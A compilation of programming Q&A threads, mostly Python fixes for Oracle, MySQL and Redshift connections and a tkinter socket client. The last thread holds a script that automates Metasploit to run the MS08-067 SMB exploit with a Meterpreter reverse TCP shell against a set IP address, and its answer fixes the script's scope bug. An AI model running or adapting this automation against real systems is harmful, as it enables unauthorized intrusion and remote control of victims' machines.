DB connection(cx_Oracle) function calling from another function gives "AttributeError: 'NoneType' object has no attribute 'cusror'" - oracle

I have two python files and each have one function :
a.py (This function is for oracle db connection)
def db_conection(username,password,dbname,encoding):
# print(username,password,dbname,encoding)
try:
connection = cx_Oracle.connect(username, password, dbname, encoding=encoding)
# show the version of the Oracle Database
print(connection.version)
except cx_Oracle.Error as error:
print(error)
finally:
# release the connection
if connection:
connection.close()
b.py
from a import *
def set_schema(user):
con = db_conection(username,password,dbname,encoding)
cur = con.cursor()
print(user)
cur.execute("""alter session set current_schema = {}""".format(user))
cur.close()
user = "ABCDE"
set_schema(user)
The problem/error i am facing when i try to execute set_schema function(b.py)
cur = con.cursor()
AttributeError: 'NoneType' object has no attribute 'cursor'
if i just run below statment in b.py for set_schema function it works
db_conection(username,password,dbname,encoding)

The direct "solution" is:
# a.py
def db_conection(username,password,dbname,encoding):
try:
connection = cx_Oracle.connect(username, password, dbname, encoding=encoding)
# show the version of the Oracle Database
print(connection.version)
return connection
except cx_Oracle.Error as error:
print(error)
and
# b.py
from a import *
def set_schema(user):
con = db_conection(username,password,dbname,encoding)
con.current_schema = user # more efficient then executing ALTER
user = "ABCDE"
set_schema(user)
Of course, once db_connection() has finished the connection will be closed, but hopefully you just gave example code to show your problem. You may want to look at subclassing.
If you are running multi-user, you could use a connection pool and use a session callback to set session attributes.

Related

Is it alright to inlcude connect() inside the lambda_handler in order to close the connection after use?

I wrote one lambda function to access the MySQL database and fetch the data i.e to fetch the number of users, but any real-time update is not fetched, unless the connection is re-established.
And closing the connection inside the lambda_handler before returning, results in connection error upon its next call.
The query which I am using is -> select count(*) from users
import os
import pymysql
import json
import logging
endpoint = os.environ.get('DBMS_endpoint')
username = os.environ.get('DBMS_username')
password = os.environ.get('DBMS_password')
database_name = os.environ.get('DBMS_name')
DBport = int(os.environ.get('DBMS_port'))
logger = logging.getLogger()
logger.setLevel(logging.INFO)
try:
connection = pymysql.connect(endpoint, user=username, passwd=password, db=database_name, port=DBport)
logger.info("SUCCESS: Connection to RDS mysql instance succeeded")
except:
logger.error("ERROR: Unexpected error: Could not connect to MySql instance.")
def lambda_handler(event, context):
try:
cursor = connection.cursor()
............some.work..........
............work.saved..........
cursor.close()
connection.close()
return .....
except:
print("ERROR")
The above code results in connection error after its second time usage,
First time it works fine and gives the output but the second time when I run the lambda function it results in connection error.
Upon removal of this line ->
connection.close()
The code works fine but the real-time data which was inserted into the DB is not fetched by the lambda,
but when I don't use the lambda function for 2 minutes, then after using it again, the new value is fetched by it.
So,
In order to rectify this problem,
I placed the connect() inside the lambda_handler and the problem is solved and it also fetches the real-time data upon insertion.
import os
import pymysql
import json
import logging
endpoint = os.environ.get('DBMS_endpoint')
username = os.environ.get('DBMS_username')
password = os.environ.get('DBMS_password')
database_name = os.environ.get('DBMS_name')
DBport = int(os.environ.get('DBMS_port'))
logger = logging.getLogger()
logger.setLevel(logging.INFO)
def lambda_handler(event, context):
try:
try:
connection = pymysql.connect(endpoint, user=username, passwd=password, db=database_name, port=DBport)
except:
logger.error("ERROR: Unexpected error: Could not connect to MySql instance.")
cursor = connection.cursor()
............some.work..........
............work.saved..........
cursor.close()
connection.close()
return .....
except:
print("ERROR")
So, I want to know, whether is it right to do this, or there is some other way to solve this problem, I trying to solve this for few-days and finally this solution is working, but not sure whether will it be a good practice to do this or not.
Any problems will occur if the number of connections to database increases?
Or any kind of resource problem?

Get All table names in Redshift

I am trying to get all the table in Redshift database.
import os
import psycopg2
import sys
import rds_config
def lambda_handler(event, context):
#for key in os.environ.keys():
# print(key)
#return 0
REDSHIFT_DATABASE = rds_config.db_name
REDSHIFT_USER = rds_config.db_username
REDSHIFT_PASSWD = rds_config.db_password
REDSHIFT_PORT = rds_config.db_port
REDSHIFT_ENDPOINT = rds_config.db_endpoint
QUERY = "SELECT DISTINCT tablename FROM pg_table_def WHERE schemaname = 'public' ORDER BY tablename;"
try:
conn = psycopg2.connect(
database = REDSHIFT_DATABASE,
user=REDSHIFT_USER,
password=REDSHIFT_PASSWD,
port=REDSHIFT_PORT,
host=REDSHIFT_ENDPOINT)
except Exception as ERROR:
print(ERROR)
sys.exit(1)
try:
cursor = conn.cursor()
print(QUERY)
print(cursor.execute(QUERY))
cursor.close()
conn.commit()
conn.close()
except Exception as ERROR:
print( ERROR)
sys.exit(1)
The above query is running in RedshiftQuery Editor but it is failing when I am trying to execute it using lambda.
I am just looking to read all the tables in Redshift.
I am not getting any error
print(cursor.execute(QUERY)) prints None
I guess you're missing the most important lines after your query execution-
rows = cursor.fetchall()
Something like this-
try:
# retrieving all tables in my search_path
cursor.execute("""select tablename from pg_table_def""")
except Exception as err:
print err.code,err
rows = cursor.fetchall()
for row in rows
print row
SEE DEMO Gist: https://gist.github.com/jaychoo/4e3effdeed3672173b67

TypeError: __init__() got an unexpected keyword argument 'username' in pymysql

I'm trying to access the database that I created with MySQL by using pymysql, but I got the error below. Does anyone have any ideas how to remove this error?
Connection = pymysql.connect(host="localhost",db="Student",port=8000,
username="makotonakai",passwd="password")
TypeError: __init__() got an unexpected keyword argument 'username'
Try this:
Port 3306 is the default port for the classic MySQL protocol
import pymysql
conn = pymysql.connect(
host="127.0.0.1", port=8000, user="makotonakai", passwd="password", db="Student"
)
cursor = conn.cursor()
cursor.execute("SELECT VERSION()")
row = cursor.fetchone()
print("Server version:", row[0])
cursor.close()
conn.close()
Change username to user and passwd to password. It should be
Connection = pymysql.connect(host="localhost",db="Student",port=8000,user="makotonakai",password="password")

'WinError 10061' when using a sockets function in a tk command

Hi and thanks for reading this. I know what the problem is but I can't figure out how to fix it.
So the problem goes like this (I think), python is trying to run connect() before the user inputs the host name(hostname) therefore python is trying to connect to a blank host('') which in turn causes a [WinError 10061] to happen. I have tried buffering connect() with another function(connect_buffer()), the error kept on happening, even when I added a if statement that set hostname to 'localhost' if hostname was blank(''), but that didn't work either and turned up the same error.
So my Question is how do I fix this?
Here is the error:
Traceback (most recent call last):
File "H:\server\New folder\Tk_cleint.py", line 89, in <module>
setup_confirm_button = tk.Button(window,text = 'Connect', command = setup())
File "H:\server\New folder\Tk_cleint.py", line 18, in setup
create_sock(host, int(port))
File "H:\server\New folder\Tk_cleint.py", line 36, in create_sock
connect(cleintsocket, nhost, nport)
File "H:\server\New folder\Tk_cleint.py", line 27, in connect
self.connect((hostname, connectingport))
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
And here is my code
#---Import statments---#
import socket, os, multiprocessing
import tkinter as tk
#---global variables---#
setup = ''
cleintsocket = ''
#---Defs---#
def setup():
global host, port, user
host = setup_host_box.get()
port = setup_port_box.get()
user = setup_user_box.get()
def connect_buffer(self, hostname, connectingport):
connect(self, hostname, connectingport)
def connect(self, hostname, connectingport):
if hostname == '':
hostname = 'localhost'
self.connect((hostname, int(connectingport)))
print('connected')
multiprocessing.Process(target = resv()).start()
def create_sock(nhost, nport):
global cleintsocket
cleintsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect(cleintsocket, nhost, nport)
def send(username, cleintsock):
'''to send a message'''
usrmsg = (username + ' - ' + chat_msg_box.get()).encode()
cleintsock.send(usrmsg)
def resv(sock):
'''resive subscript, run through mutiprosses module'''
while True:
rmsg = sock.recv(1024).decode()
chat_msg_display_text.insert('end.0.', rmsg)
def chat():
'''loads chat page'''
setup_host_text.pack_forget()
setup_host_box.pack_forget()
setup_port_text.pack_forget()
setup_port_box.pack_forget()
setup_user_text.pack_forget()
setup_user_box.pack_forget()
setup_confirm_button.pack_forget()
chat_msg_display_text.pack()
chat_msg_box.pack()
chat_msg_send_button.pack()
def start():
'''starts the setup page'''
setup_host_text.pack()
setup_host_box.pack()
setup_port_text.pack()
setup_port_box.pack()
setup_user_text.pack()
setup_user_box.pack()
setup_confirm_button.pack()
def send_button_callback():
'''add a buffer to allow time for 'cleintsocket' to be defined in "create_sock()"'''
send(user, cleintsocket)
#---TK Setup---#
#--window setup--#
window = tk.Tk()
window.title('Chat')
window.geometry('600x600')
window.configure(background='#ffffff')
#--connection setup page--#
setup_host_text = tk.Label(window, text = 'Host')
setup_host_box = tk.Entry(window, bg = '#ffffff')
setup_port_text = tk.Label(window, text = 'Port')
setup_port_box = tk.Entry(window, bg = '#ffffff')
setup_user_text = tk.Label(window, text = 'Username')
setup_user_box = tk.Entry(window, bg = '#ffffff')
setup_confirm_button = tk.Button(window,text = 'Connect', command = setup())
#--chat page--#
chat_msg_box = tk.Entry(window, bg='#ffffff')
chat_msg_send_button = tk.Button(window, text = 'send', command = send_button_callback)
chat_msg_display_text = tk.Text(window, width=600, height=500, wrap = 'word')
#--------------#
start()
and here are some links to questions that didn't help:
WinError 10049: The requested address is not valid in its context
Connecting to myself through my public IP through TCP
Webscraping with Python: WinError 10061: Target machine actively refused
Thank you to anyone who helps.
On your setup_confirm_button you're using command = setup() this should be command = setup or command = lambda: setup()
By calling setup() you're actually calling the function instead of setting it as a reference to the function for the command, and it's running your function then instead of on the button click.
The reason using lambda: setup() also works is because lambda creates an anonymous function.
Also, in your multiprocessing process you're likewise calling resv() instead of passing resv this is calling the function with a while loop and blocking the main event loop.

How to automate Metasploit?

I'm using the following code to automate Metasploit:
import os, msfrpc, optparse, sys, subprocess
from time import sleep
def sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']
RHOST="192.168.1.102"
LPORT="444"
LHOST="127.0.0.1"
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')
But it's not working and I'm getting the error:
client.call('console.write',[console_id,commands])
NameError: name 'client' is not defined
What is the problem? Is there any other script that could work in a similar way?
Your indentation is off. So clients.call() is performed outside the context where you create it inside the sploiter function.
Your client only exists inside your sploiter method.
Im not that familiar with python but I think you could adjust the sploiter method so that it returns the client.
client = msfrpc.Msfrpc({})
client.login('msf', '123')
return client
In the part below you could do something like
client = sploiter(Parameter1, Parameter2, Parameter3, Parameter4)
client.call('console.write',[console_id,commands])

Resources